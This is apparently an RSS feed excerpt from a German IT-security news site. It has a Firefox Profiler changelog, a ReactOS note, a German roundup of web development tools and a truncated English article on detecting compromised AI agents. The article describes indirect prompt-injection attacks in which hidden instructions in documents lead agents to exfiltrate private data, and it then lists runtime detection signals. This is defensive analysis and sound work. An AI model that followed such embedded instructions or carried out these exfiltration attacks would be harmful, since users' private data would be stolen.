<li>[fatadel] Upgrade to React 19 (<a href="https://github.com/firefox-devtools/profiler/pull/6067" rel="noopener nofollow ugc">#6067</a>)</li>
<li>[fatadel] Drive counter tooltips from a tooltipRows schema (<a href="https://github.com/firefox-devtools/profiler/pull/6023" rel="noopener nofollow ugc">#6023</a>)</li>
<li>[Markus Stange] Support reading profiles from JsonSlabs files (<a href="https://github.com/firefox-devtools/profiler/pull/6037" rel="noopener nofollow ugc">#6037</a>)</li>
<li>[fatadel] Replace the footer-links overlay with a settings menu (<a href="https://github.com/firefox-devtools/profiler/pull/6042" rel="noopener nofollow ugc">#6042</a>)</li>
</ul>
<p><strong>Other Changes:</strong></p>
<ul>
<li>[Nazım Can Altınova] Fix call node context menu being hidden behind source view bottom box (<a href="https://github.com/firefox-devtools/profiler/pull/6045" rel="noopener nofollow ugc">#6045</a>)</li>
<li>[Nazım Can Altınova] Pass <code>--use-env-proxy</code> only when the node version is &gt;= 24 (<a href="https://github.com/firefox-devtools/profiler/pull/6064" rel="noopener nofollow ugc">#6064</a>)</li>
<li>[fatadel] Upgrade <span class="mention">@firefox-devtools</span>/react-contextmenu to 5.2.4 (<a href="https://github.com/firefox-devtools/profiler/pull/6066" rel="noopener nofollow ugc">#6066</a>)</li>
<li>[Markus Stange] Switch profiler-edit from minimist to commander (<a href="https://github.com/firefox-devtools/profiler/pull/6065" rel="noopener nofollow ugc">#6065</a>)</li>
<li>[Florian Quèze] Don’t fail profile processing when a marker’s stack field is not a backtrace (<a href="https://github.com/firefox-devtools/profiler/pull/6069" rel="noopener nofollow ugc">#6069</a>)</li>
<li>[fatadel] Remove unused undici-types package (<a href="https://github.com/firefox-devtools/profiler/pull/6074" rel="noopener nofollow ugc">#6074</a>)</li>
<li>[cathaysia] Update isLocalURL to include LAN addresses, .local domains, and hostn… (<a href="https://github.com/firefox-devtools/profiler/pull/5973" rel="noopener nofollow ugc">#5973</a>)</li>
<li>[Markus Stange] Fix from-url with binary profiles (<a href="https://github.com/firefox-devtools/profiler/pull/6072" rel="noopener nofollow ugc">#6072</a>)</li>
<li>[Markus Stange] Add an insertStackLabels helper. (<a href="https://github.com/firefox-devtools/profiler/pull/6076" rel="noopener nofollow ugc">#6076</a>)</li>
<li>[fatadel] Add TrackPower–tooltip-average-power-microwatt (<a href="https://github.com/firefox-devtools/profiler/pull/6080" rel="noopener nofollow ugc">#6080</a>)</li>
<li>[Markus Stange] Downgrade to React 19.1 to fix unusable dev build performance. (<a href="https://github.com/firefox-devtools/profiler/pull/6082" rel="noopener nofollow ugc">#6082</a>)</li>
<li>[spokodev] fix(FilterNavigatorBar): clip overflow so many breadcrumbs do not expand the parent (<a href="https://github.com/firefox-devtools/profiler/pull/6085" rel="noopener nofollow ugc">#6085</a>)</li>
<li>[Markus Stange] Move paddings inside the tree header cells. (<a href="https://github.com/firefox-devtools/profiler/pull/6002" rel="noopener nofollow ugc">#6002</a>)</li>
<li>[Markus Stange] Add an --insert-label-frames argument to the profiler-edit tool (<a href="https://github.com/firefox-devtools/profiler/pull/5966" rel="noopener nofollow ugc">#5966</a>)</li>
<li>[Markus Stange] Stop printing “error: too many arguments” during tests. (<a href="https://github.com/firefox-devtools/profiler/pull/6088" rel="noopener nofollow ugc">#6088</a>)</li>
<li>[Markus Stange] More additions to profiler-edit, for sp3 profiles (<a href="https://github.com/firefox-devtools/profiler/pull/6009" rel="noopener nofollow ugc">#6009</a>)</li>
<li>[Nazım Can Altınova] Do not rely on localized texts in the settings menu tests (<a href="https://github.com/firefox-devtools/profiler/pull/6101" rel="noopener nofollow ugc">#6101</a>)</li>
</ul>
<p>Big thanks to our amazing localizers for making this release possible:</p>
<ul>
<li>be: Andrei Mukamolau</li>
<li>de: Ger</li>
<li>de: Michael Köhler</li>
<li>de: Ralf Duehnfahr</li>
<li>el: Jim Spentzos</li>
<li>en-CA: chutten</li>
<li>en-GB: Ian Neal</li>
<li>es-CL: ravmn</li>
<li>fr: Théo Chevalier</li>
<li>fr: wy</li>
<li>fur: Fabio Tomat</li>
<li>fy-NL: Fjoerfoks</li>
<li>ia: Melo46</li>
<li>it: Francesco Lodolo [:flod]</li>
<li>nl: Mark Heijl</li>
<li>ru: Valery Ledovskoy</li>
<li>sr: Марко Костић (Marko Kostić)</li>
<li>sv-SE: Andreas Pettersson</li>
<li>tr: Grk</li>
<li>tr: Selim Şumlu</li>
<li>zh-CN: Olvcpr423</li>
<li>zh-TW: Pin-guang Chen</li>
</ul>
<p>Find out more about the Firefox Profiler on <a href="https://profiler.firefox.com/" rel="noopener nofollow ugc">profiler.firefox.com</a>! If you have any questions, join the discussion on our <a href="https://chat.mozilla.org/#/room/%23profiler:mozilla.org" rel="noopener nofollow ugc">Matrix channel</a>!</p>
            <p><small>1 post - 1 participant</small></p>
            <p><a href="https://discourse.mozilla.org/t/firefox-profiler-deployment-june-16-2026/148655">Read full topic</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[ReactOS: Half-Life läuft erstmals unter 'Open-Source Windows']]></title>
<description><![CDATA[Das Community-Projekt ReactOS hat seit Jahrzehnten das Ziel, ein "Open-Source Windows" zu schaffen, das mit Programmen und Treibern kompatibel ist, die für Microsofts Betriebssystem entwickelt wurden. Jetzt hat man einen Meilenstein erreicht: Half-Life läuft.			(Weiter lesen)]]></description>
<link>https://tsecurity.de/de/3600692/it-security-nachrichten/reactos-half-life-laeuft-erstmals-unter-open-source-windows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3600692/it-security-nachrichten/reactos-half-life-laeuft-erstmals-unter-open-source-windows/</guid>
<pubDate>Tue, 16 Jun 2026 07:14:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://winfuture.de/news,159361.html"><img hspace="5" border="0" align="left" alt="Betriebssystem, Russland, Reactos, Open-Source Windows, React OS" width="1920" height="1080" src="https://i.wfcdn.de/teaser/1920/91529.png"></a>
			Das Community-Projekt ReactOS hat seit Jahrzehnten das Ziel, ein "<a href="https://winfuture.de/special/open-source/" title="Open Source Special">Open-Source</a> Windows" zu schaffen, das mit Programmen und Treibern kompatibel ist, die für Microsofts Betriebssystem entwickelt wurden. Jetzt hat man einen Meilenstein erreicht: Half-Life läuft.			(<a href="https://winfuture.de/news,159361.html">Weiter lesen</a>)]]></content:encoded>
</item>
<item>
<title><![CDATA[Web Development Tools – 8 innovative Optionen]]></title>
<description><![CDATA[Neue Wege in Sachen Web Development beschreiten? Mit diesen acht Tools klappt das bestens.dotshock | shutterstock.com



In der Webentwicklung gibt es keinen vorgegebenen Weg. In einer Sache sind sich jedoch alle einig: Es ist höchste Zeit für ein „Great Unbloating“: Das Web Development muss von ...]]></description>
<link>https://tsecurity.de/de/3600602/it-security-nachrichten/web-development-tools-8-innovative-optionen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3600602/it-security-nachrichten/web-development-tools-8-innovative-optionen/</guid>
<pubDate>Tue, 16 Jun 2026 06:05:10 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2024/08/0_dotshock_shutterstock_2312374465_16z9.jpg?quality=50&amp;strip=all&amp;w=1024" alt="App Developer Testing 16z9 SHUTTERSTOCK EDITORIAL GERMANY ONLY" class="wp-image-3497299" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Neue Wege in Sachen Web Development beschreiten? Mit diesen acht Tools klappt das bestens.</figcaption></figure><p class="imageCredit">dotshock | shutterstock.com</p></div>



<p>In der <a href="https://www.computerwoche.de/article/2802920/was-macht-ein-web-developer.html" target="_blank">Webentwicklung</a> gibt es keinen vorgegebenen Weg. In einer Sache sind sich jedoch alle einig: Es ist höchste Zeit für ein „Great Unbloating“: Das Web Development muss von schwerfälliger Komplexität befreit werden. Wie das funktionieren kann, zeigen die acht Tools, die wir Ihnen in diesem Beitrag vorstellen.</p>



<p>Diese zeichnet aus, dass sie sich (größtenteils) mit alternativen Ansätzen befassen, die das Bewährte in Frage stellen. Auch wenn Sie die hier vorgestellten Lösungen nicht direkt für Ihre Zwecke einsetzen können, lohnt es sich also dennoch, sie im Auge zu behalten.</p>



<h2 class="wp-block-heading">1. <a href="https://astro.build/" target="_blank" rel="noreferrer noopener">Astro</a></h2>



<p>Wenn man eine Gruppe klassischer Musiker mit Noten in einen Raum setzt und sie einfach spielen lässt, <em>könnte </em>das Ergebnis ein stimmiges Stück sein. Wahrscheinlich braucht es aber einen Dirigenten, der alles koordiniert. In Zusammenhang mit Frontend-Frameworks ist <a href="https://www.computerwoche.de/article/3834789/astro-tutorial-plug-play-webentwicklung.html" target="_blank">Astro</a> genau das – ein Maestro.</p>



<p>Astro kümmert sich um die „<a href="https://www.infoworld.com/article/2335507/reactive-javascript-the-evolution-of-front-end-architecture.html" target="_blank">Hydration</a>“ des Frontends, also den Prozess, die Shell reaktiv zu machen. Beim konventionellen Server-Side Rendering (SSR) sendet der Server nicht nur den HTML-Code, sondern auch die riesige Framework-Runtime über das Netzwerk – nur um der Seite Event-Listener hinzuzufügen. Mit Astro ist es möglich, Komponenten in React, Svelte, Vue oder Solid zu schreiben – der Compiler des Tools entfernt dabei das gesamte JavaScript, bevor es den Browser erreicht. Astro liefert standardmäßig Zero JS aus und verlässt sich auf seine „<a href="https://docs.astro.build/en/concepts/islands/" target="_blank" rel="noreferrer noopener">Island Architecture</a>“, um nur die spezifischen Komponenten zu hydrieren, die Interaktivität erfordern.</p>



<p>Da Astro die Interaktivität in separaten „Inseln“ isoliert, ist es im Vergleich zu einer monolithischen Single-Page-Anwendung grundsätzlich schwieriger, komplexe States (etwa eine komplexe Seitenleiste mit Filterfunktion, die mit einem separaten dynamischen Data Grid kommuniziert) zwischen diesen Inseln zu teilen. Wenn Sie eine hochgradig interaktive, Dashboard-lastige Applikation entwickeln, in der jede Komponente die andere beeinflusst, könnten sich die isolierten Inseln eher nach Zwangsjacke als nach Befreiung anfühlen.</p>



<p><strong>Auch interessant:</strong> <a href="https://www.computerwoche.de/article/2833386/die-besten-javascript-frameworks-im-vergleich.html" target="_blank">Qwik</a>. Während Astro verschlankt, indem es den JavaScript-Code vollständig entfernt, setzt Qwik auf Verzögerung: Es liefert sofort HTML und serialisiert den Anwendungsstatus. Dabei wird nur der für eine bestimmte Interaktion erforderliche JavaScript-Code genau in der Millisekunde heruntergeladen und ausgeführt, in der der User auf die entsprechende Schaltfläche klickt.</p>



<h2 class="wp-block-heading">2. <a href="https://biomejs.dev/" target="_blank" rel="noreferrer noopener">Biome</a></h2>



<p><a href="https://www.computerwoche.de/article/2816993/7-gruende-rust-zu-hassen-und-zu-lieben.html" target="_blank">Rust</a> ersetzt nach und nach die zugrundeliegende Infrastruktur im JavaScript-Ökosystem. Das verleiht dem Biome-Tool seine Hardware-ähnliche Geschwindigkeit. Das Alleinstellungsmerkmal dieses Dev-Werkzeugs ist es allerdings, die weitläufige Webentwicklungs-Toolchain zu vereinheitlichen.  </p>



<p>Wenn die <code>.eslintrc</code>– und <code>.prettierrc</code>-Dateien sowie die Dutzenden zugehörigen Plugins in Ihrem Projekt bereits zu einem dunklen, unzufriedenstellenden Sumpf verkommen sind, ist Biome der Ausweg: Das Tool besteht aus einer einzelnen Binary, die komplett verworrene Foramtierungs- und Linting-Ökosysteme substituiert – und damit einen Weg zu Codequalität eröffnet, der ganz ohne ein weit verzweigtes Netz von Abhängigkeiten auskommt. </p>



<p>Der wohl größte Nachteil von Biome ist dabei gleichzeitig auch das Feature, das das Tool so schlank macht: Die Erweiterbarkeit geht verloren.</p>



<p><strong>Auch interessant:</strong> <a href="https://rspack.rs/" target="_blank" rel="noreferrer noopener">Rspack</a>. Biome bereinigt das Linting, Rspack entschlackt den Build-Schritt. Auch dieses Tool basiert auf Rust für mehr Geschwindigkeit. Dabei nutzt es – etwa im Gegensatz zu Vite – den „bundled“ Dev-Modus.</p>



<h2 class="wp-block-heading">3. <a href="https://bun.com/" target="_blank" rel="noreferrer noopener">Bun</a></h2>



<p>Die meisten gut informierten JavaScript-Enthusiasten dürften längst mit Bun vertraut sein. Wenn Sie die faszinierende Kombination aus All-in-One-Lösung und atemberaubender Geschwindigkeit noch nicht selbst erlebt haben, wird es Zeit. </p>



<p>Wenn Sie an <a href="https://www.infoworld.com/article/2254485/what-is-nodejs-javascript-runtime-explained.html">Node</a> gewöhnt sind und Bun ausprobieren, werden Sie sehr wahrscheinlich sofort davon beeindruckt sein, wie schnell Befehle ausgeführt werden. Das Bun-Team hat zudem über mehrere Jahre hinweg umfangreiche Anstrengungen unternommen, um seine Engine eng an die APIs von Node anzupassen. Das macht Bun zu einer außergewöhnlichen technischen Errungenschaft, die jeder JavaScript-Entwickler zumindest explorieren sollte.</p>



<p>Obwohl Buns <a href="https://www.computerwoche.de/article/2821852/die-moderne-c-alternative.html" target="_blank">Zig</a>-basierte Engine in vielerlei Hinsicht ein direkter Ersatz für Node ist: Sie ist nicht perfekt – insbesondere angesichts der gigantischen Anzahl von Node-Packages, die existieren. Deshalb bleibt Node auch die beste bewährte, konservative, Engine für serverseitiges JavaScript.</p>



<p><strong>Auch interessant:</strong> <a href="https://www.infoworld.com/article/2256205/what-is-deno-a-better-nodejs.html">Deno</a>. Bun hat sich zwar zu Recht einen Ruf als innovatives Tool erarbeitet – allerdings wurde Deno still und leise um eine Reihe attraktiver Enterprise-Funktionen ergänzt – etwa eine integrierte Bereitstellungsplattform und das Frontend-Framework <a href="https://www.infoworld.com/article/3523813/intro-to-deno-fresh-a-fresh-take-on-full-stack-javascript.html" target="_blank">Deno Fresh</a>.</p>



<h2 class="wp-block-heading">4. <a href="https://htmx.org/" target="_blank" rel="noreferrer noopener">HTMX</a></h2>



<p>Wenn es um smarte Wege geht, das Web zu vereinfachen, könnte man <a href="https://www.computerwoche.de/article/2833138/dynamisches-html-ohne-javascript.html" target="_blank">HTMX</a> durchaus als Paradebeispiel anführen. Das Projekt greift die Kernmechanismen moderner Web-Clients wie <a href="https://developer.mozilla.org/en-US/docs/Glossary/AJAX" target="_blank" rel="noreferrer noopener">Ajax</a> sowie partielle Aktualisierungen auf und wandelt diese in einfache HTML-Attribute um. Das hat zur Folge, dass der State ausschließlich auf dem Server gespeichert wird, der dafür zuständig ist, die HTMX-Fragmente zu senden.</p>



<p>Natürlich läuft das nicht ohne Kompromisse ab. Einer ist die extreme Abhängigkeit vom Netzwerk: Da es keine Client-seitige State Machine gibt, ist der Browser ohne Verbindung zum Server hilflos. Es sei denn, Sie wagen sich an Experimente mit einem <a href="https://www.computerwoche.de/article/4142269/der-browser-wird-zur-datenbank.html" target="_blank">„local-first“-Data Store</a>. Kurz gesagt: Wenn Ihre App in den Anwendungsbereich von HTMX fällt, ist HTMX wahrscheinlich der direkteste „<a href="https://www.computerwoche.de/article/2827943/was-ist-rest.html" target="_blank">RESTful</a>-Weg“, um diese zu erstellen.</p>



<p><strong>Auch interessant:</strong> <a href="https://www.infoworld.com/article/4100499/intro-to-hotwire-interactive-javascript-built-from-html.html" target="_blank">Hotwire</a>. Als Tool-Sammlung, um Single-Page-Anwendungen unter Verwendung von HTML über das Netzwerk zu erstellen, verfügt Hotwire über großartige Funktionen wie Page Morphing. Getreu der klassischen „Free as in Speech“-Softwarekultur werden Ideen zwischen den Projektverantwortlichen von HTMX und Hotwire ausgetauscht.</p>



<h2 class="wp-block-heading">5. <a href="https://powersync.com/" target="_blank" rel="noreferrer noopener">PowerSync</a></h2>



<p>Auch wenn die „Local-First“-Datenrevolution, für die <a href="https://www.infoworld.com/article/4163910/the-front-end-architecture-trilemma-reactivity-vs-hypermedia-vs-local-first-apps.html" target="_blank">PowerSync</a> steht, einen ausgiebigen technischen Deepdive erfordert: Der Kernansatz besteht darin, die Art und Weise, wie Daten in der Webarchitektur fließen, grundlegend neu zu gestalten. Das sollte jeder Webentwickler im Blick behalten.  </p>



<p>Normalerweise erstellen Entwickler Architekturen, die eine komplexe Middleware erfordern. Diese fungiert als Vermittler zwischen einem reaktiven Client und dem Data Store. Die radikale Alternative mit PowerSync: Der Broker wird komplett umgangen, indem eine SQLite-Wasm-Datenbank direkt in den Browser integriert wird. Die Benutzeroberfläche arbeitet dabei synchron mit lokalen Daten unter Verwendung von <a href="https://www.computerwoche.de/article/2830650/9-gruende-gegen-sql.html" target="_blank">SQL</a>, die Latenzzeit beträgt null. Der gefürchtete Ladekreisel wird damit vollständig eliminiert. Im Hintergrund gleicht PowerSync den lokalen Speicher automatisch mit der zentralen Postgres-Datenbank ab. Das Tool händelt die komplexen Synchronisierungs-Algorithmen und Netzwerkschwankungen und macht Ihre Anwendung damit effektiv „offline-first“ – per Default.</p>



<p>Der Haken ist dabei, dass ein „Local-First“-Entwicklungsansatz eine massive Umstellung erfordert: Sie müssen Data Slices (ähnlich einer View) definieren, die jeder Client-User vorhält. Die PowerSync-Engine übernimmt zwar auch hierbei den Großteil der Arbeit, aber Dinge wie Schemamigrationen und Konfliktlösungen (wenn zwei Benutzer denselben Datensatz offline bearbeiten) erfordern ein deutlich aufwendigeres Setup als eine Standard-REST-API.</p>



<p><strong>Auch interessant:</strong> <a href="https://rxdb.info/" target="_blank" rel="noreferrer noopener">RxDB</a>. Dieses Tool ist eine etwas andere Variante eines „Local-First“-Datenspeichers. Während PowerSync stark auf Postgres, SQLite und Hintergrund-Daemons setzt, bietet RxDB eine NoSQL-, „Offline-First“- und reaktive Datenbank. Diese behandelt Queries als „observable“ Streams und führt UI-Aktualisierungen genau in der Millisekunde durch, in der sich die lokalen Daten ändern.</p>



<h2 class="wp-block-heading">6. <a href="https://github.com/RooCodeInc/Roo-Code" target="_blank" rel="noreferrer noopener">RooCode</a></h2>



<p>Der wesentliche Vorteil von RooCode ist, dass es sämtliche Ihrer KI-Anbieter koordinieren kann – und zwar kostenlos. Bei dem Tool handelt es sich um eine Erweiterung für <a href="https://www.computerwoche.de/article/2833165/10-tricks-fuer-visual-studio-code.html" target="_blank">Visual Studio Code</a>, die einen „AI Manager Layer“ bereitstellt. Dieser schlägt eine Brücke zwischen den allgemeinen Fähigkeiten des LLM und den Code-spezifischen Strukturen auf Projektebene.</p>



<p>Dabei erreicht RooCode zwar nicht die Performanz von Tools wie Cursor oder <a href="https://www.computerwoche.de/article/4107872/google-antigravity-ide-angetestet.html" target="_blank">Antigravity</a> – ist aber durchaus in der Lage, die meisten kleinen bis mittelgroßen Requests zu bewältigen. Und das mit einem Minimum an unnötigem Overhead: RooCode hält Sie fern von proprietären Ökosystemen und ermöglicht auch, eigene API-Keys einzubinden – von Anthropic, OpenAI oder auch lokalen Modellen, die auf der eigenen Hardware laufen.</p>



<p>Die versteckten Kosten bestehen – wie bei jedem KI-Coding-Assistenten – darin, dass das Tool die Rolle des Entwicklers vom Code-Autor zum -Redakteur verschiebt.</p>



<p><strong>Auch interessant:</strong> <a href="https://antigravity.google/" target="_blank" rel="noreferrer noopener">Antigravity</a>. RooCode ist eine leichtgewichtige Erweiterung, die Ihre bestehende Umgebung aufwertet. Googles Antigravity ist hingegen ein maßgeschneiderter Editor, der von Grund auf mit Fokus auf KI entwickelt wurde und deshalb auch für Agentic-AI-Workflows konzipiert ist.</p>



<h2 class="wp-block-heading">7. <a href="https://tanstack.com/query/latest" target="_blank" rel="noreferrer noopener">TanStack Query</a></h2>



<p>Selbst wenn Client-seitiges State Management kein Problem mehr darstellt (siehe nächstes Tool), bleibt eine große Lücke bestehen: die Synchronisierung über die Servergrenze hinweg. An diesem Punkt kommt TanStack Query ins Spiel. Distributed Computing ist ein notorisch heikles Problem. Standardmäßige reaktive Modelle speichern den State sowohl auf dem Client als auch auf dem Server. Diese inhärente architektonische Reibung versucht TanStack Query abzumildern, indem es als intelligente asynchrone Schicht fungiert.</p>



<p>Anstatt eine Vielzahl manueller Fetches zu verwenden, die an <code>useState</code>-Aktualisierungen geknüpft sind (zusammen mit anfälligen <code>isLoading</code>-Flags und komplexer Logik zur State-Synchronisation), abstrahiert TanStack Query die aufwendige Arbeit, die mit API-Antworten, Hintergrundaktualisierungen und der Duplikatsbereinigung von Anfragen verbunden ist. Übrig bleiben einige wenige, elegante Hooks. Diese teilen TanStack Query mit, woher die Daten bezogen werden sollen. Dabei nutzt das Tool ein Muster namens „stale-while-revalidate“. Soll heißen: Daten werden im Frontend zwischengespeichert, wiederverwendet (wodurch Reload-Wartezeiten entfallen) und im Hintergrund mit dem aktuellen State synchronisiert.</p>



<p>Der Haken daran ist allerdings, dass TanStack Query Sie dazu zwingt, sich einem der hartnäckigsten Informatik-Probleme direkt zu stellen: der <a href="https://medium.com/on-building-software/why-cache-invalidation-is-actually-hard-e8b5e9a83e45" target="_blank" rel="noreferrer noopener">Cache-Invalidierung</a>. Sie werden also Zeit damit verbringen, über „Query Keys“ zu sinnieren und damit, zu entscheiden, wann ein Datenelement als „veraltet“ gelten soll.</p>



<p><strong>Auch interessant:</strong> <a href="https://swr.vercel.app/" target="_blank" rel="noreferrer noopener">SWR</a>. Während TanStack Query ein absolutes Kraftpaket für komplexe Datenmanipulation ist, bleibt SWR ein Vorreiter des API-Minimalismus. Es tut genau das, was sein Name andeutet (stale-while-revalidate) – und das fast ohne lästige Konfiguration.</p>



<h2 class="wp-block-heading">8. <a href="https://zustand.docs.pmnd.rs/learn/getting-started/introduction" target="_blank" rel="noreferrer noopener">Zustand</a></h2>



<p>Falls Sie noch nicht mit dem Albtraum des großangelegten State Managements in einer reaktiven App konfrontiert wurden, ein kleiner Spoiler: Das kann ziemlich unangenehm werden. Oder Sie nutzen <a href="https://zustand.docs.pmnd.rs/learn/getting-started/introduction" target="_blank" rel="noreferrer noopener">Zustand</a> und verzichten einfach auf den zeremoniellen Boilerplate-Code aus Reducern, Providern und unhandlichen Context-Wrappern. Ersetzt wird das durch einen winzigen, brutal simplen, globalen Speicher.</p>



<p>Anstatt Ihren gesamten Anwendungsbaum in einen massiven React-Context-Provider zu zwängen (was manchmal zu einer Kaskade überflüssiger Neu-Renderings im gesamten DOM führt), nutzt Zustand benutzerdefinierte Hooks, um den State direkt an die spezifischen Komponenten zu binden, die ihn benötigen. Dabei strebt das Tool danach, die Spezifität im reaktiven VDOM-Modell zu erreichen (anstatt sie à la <a href="https://www.infoworld.com/article/4129648/reactive-state-management-with-javascript-signals.html" target="_blank">Signals</a> vollständig zu eliminieren). Sie definieren einen Store, rufen ihn auf – und die Reaktivität funktioniert einfach. Der Preis für diese Befreiung ist die Last der Disziplin: Zustand hindert Sie nicht daran, Ihren globalen Speicher in eine überfüllte Deponie zu verwandeln. Entwickler müssen Ihre eigenen Konventionen und Guardrails einziehen, um großangelegte Projekte überschaubar zu halten.</p>



<p><strong>Auch interessant:</strong> <a href="https://jotai.org/" target="_blank" rel="noreferrer noopener">Jotai</a>. Wenn Zustand der schlank gehaltene globale Store ist, dann ist Jotai der schlank gehaltene, atomare Ansatz. Dieses Tool verwaltet den State „von unten nach oben“ und berechnet Änderungen mit chirurgischer Präzision – ohne dabei massive Neu-Renderings im gesamten Application Tree auszulösen. (fm)</p>



<p><strong>Dieser Artikel ist </strong><a href="https://www.infoworld.com/article/4181872/8-cutting-edge-web-development-tools-you-dont-want-to-miss.html" target="_blank"><strong>im Original</strong></a><strong> bei unserer Schwesterpublikation Infoworld.com erschienen.</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[5 runtime signals for catching a compromised AI agent]]></title>
<description><![CDATA[In June 2025, Simon Willison, the engineer who coined the term “prompt injection,” published a warning that circulated widely through the security community. He called it the lethal trifecta — three capabilities that, when combined in a single AI agent, create a near-guaranteed path to exploitati...]]></description>
<link>https://tsecurity.de/de/3598566/it-security-nachrichten/5-runtime-signals-for-catching-a-compromised-ai-agent/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3598566/it-security-nachrichten/5-runtime-signals-for-catching-a-compromised-ai-agent/</guid>
<pubDate>Mon, 15 Jun 2026 11:08:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>In June 2025, Simon Willison, the engineer who coined the term “prompt injection,” <a href="https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/">published a warning</a> that circulated widely through the security community. He called it the lethal trifecta — three capabilities that, when combined in a single AI agent, create a near-guaranteed path to exploitation through indirect prompt injection: access to private data; exposure to untrusted content; the ability to communicate externally.</p>



<p>The framing was sharp and useful. If your agent reads your email, ingests arbitrary web content, and can make outbound requests, an attacker who embeds malicious instructions anywhere in that content pipeline can direct the agent to exfiltrate your data without you ever knowing. Willison illustrated the point with a long list of real production exploits: Microsoft 365 Copilot, GitHub’s MCP server, GitLab Duo, Slack AI, Google Bard, Amazon Q. The same class of attack, over and over.</p>



<p>The trifecta worked as a signal because, at the time, agents were mostly narrowly scoped. An agent capable of performing only one or two of the lethal trifecta activities could be assessed as lower risk. Avoiding the combination felt like a viable design strategy.</p>



<p>That window has closed given what practitioners deploy today: A customer-facing support agent reads ticket histories and customer records, ingests user messages and attached files, and calls CRMs, refund APIs, or ticketing systems. An email AI reads your inbox and calendar, processes inbound messages from strangers, and sends replies on your behalf.</p>



<p>Rather than being edge cases or poorly designed deployments, these are the agents enterprises and individuals actually want, and they’re the ones vendors are building toward.</p>



<h2 class="wp-block-heading">Lethal trifecta as default configuration</h2>



<p>Ross McKerchar, CISO at Sophos, <a href="https://www.sophos.com/en-us/blog/inside-the-lethal-trifecta-blast-radius-reduction-in-ai-agent-deployments">put it plainly</a> in a piece published this May: “the capabilities practitioners actually want (read my data, understand external context, take action) push firmly into dangerous territory. This isn’t a misconfiguration; it’s the architectural cost of usefulness.” He’s right. An agent without private data access is useless, one that can’t process external content is isolated, and the one that can’t communicate externally is inert. Strip any leg of the trifecta and you have something closer to a search box than an agent.</p>



<p>If every legitimate agent architecture exhibits all three trifecta properties, the trifecta is no longer a meaningful indicator of elevated risk. It’s the default configuration. Treating it as a red flag is like treating DNS resolution as a signal of network compromise. Technically <a href="https://www.csoonline.com/article/574989/4-strategies-to-help-reduce-the-risk-of-dns-tunneling.html">true in some threat models</a>, but universally present in every real deployment.</p>



<p>McKerchar’s piece frames the response as “blast radius reduction”: a reasonable operational philosophy, but one that accepts the trifecta as a given condition rather than a preventable one. That’s a reasonable call. The question is what comes after the acceptance.</p>



<p>Meta’s security team arrived at the same conclusion from the other direction. In October 2025, they published the “<a href="https://ai.meta.com/blog/practical-ai-agent-security/">Rule of Two</a>,” a framework that recommends agents satisfy no more than two of the three trifecta properties in a single session, with human-in-the-loop approval required if all three are necessary. Willison <a href="https://simonwillison.net/2025/Nov/2/new-prompt-injection-papers/">himself endorsed the framework</a> as “the best practical advice for building secure LLM-powered agent systems today.”</p>



<p>Meta’s limitations section, however, concedes that many sought-after use cases won’t fit the framework cleanly, and that “designs that satisfy the Agents Rule of Two can still be prone to failure.” That’s not a criticism of the framework but confirmation that the problem has outgrown the architecture-level solution.</p>



<p>The scale of exposure is no longer theoretical. <a href="https://blog.google/security/prompt-injections-web/">Google’s April 2026 sweep</a> of the Common Crawl repository found prompt injection attempts across public web pages, ranging from pranks to data exfiltration payloads, with malicious attempts up 32% between November 2025 and February 2026. Google noted sophistication remains low for now but flagged the trend as a signal of maturing attacker interest.</p>



<p>The environment the trifecta warned about has arrived.</p>



<h2 class="wp-block-heading">How to sleuth out a compromised agent</h2>



<p>If the trifecta describes nearly every deployed agent, practitioners need signals that distinguish compromised behavior from normal operation within a trifecta-exhibiting system. That means shifting from architecture-level assessments to <a href="https://www.csoonline.com/article/4145127/runtime-the-new-frontier-of-ai-agent-security.html">runtime behavioral detection</a>.</p>



<p>The production evidence arrived in a cluster. From Jan. 7 to Jan. 15, 2026, <a href="https://breached.company/the-lethal-trifecta-strikes-four-major-ai-agent-vulnerabilities-in-five-days/">researchers disclosed exploits</a> against four separate AI productivity tools in eight days: IBM Bob, Superhuman AI, Notion AI, and Anthropic’s Claude Cowork. Each used indirect prompt injection to exfiltrate data via a channel the agent had legitimate access to. In the Cowork case, a hidden prompt embedded in an uploaded document directed the agent to exfiltrate files via Anthropic’s own allowlisted API domain, invisible to any perimeter control and indistinguishable from normal agent behavior until the data was already gone. In all of these cases, the trifecta wasn’t a risk factor but the operating condition.</p>



<p>Here’s what’s worth watching to detect an agent has been compromised.</p>



<p><strong>Instruction-following anomalies.</strong> A compromised agent doesn’t usually do something structurally different from a healthy one. Following instructions is its normal function. The difference is whose instructions it’s following. Look for agent actions that have no plausible correspondence to a user-initiated task. An agent that was asked to summarize a quarterly report but then attempts an outbound DNS request to an unfamiliar domain didn’t spontaneously decide to do that. Something in the content it ingested told it to.</p>



<p><strong>Tool call sequences that break expected topology.</strong> In a well-designed agent system, the graph of tool calls for any given task should be relatively predictable. A coding agent invoked to fix a bug should touch files, run tests, perhaps check documentation. It shouldn’t be reaching for email or calendar APIs. Tool call sequences that cross expected workflow boundaries are worth flagging even when each individual call looks legitimate on its own.</p>



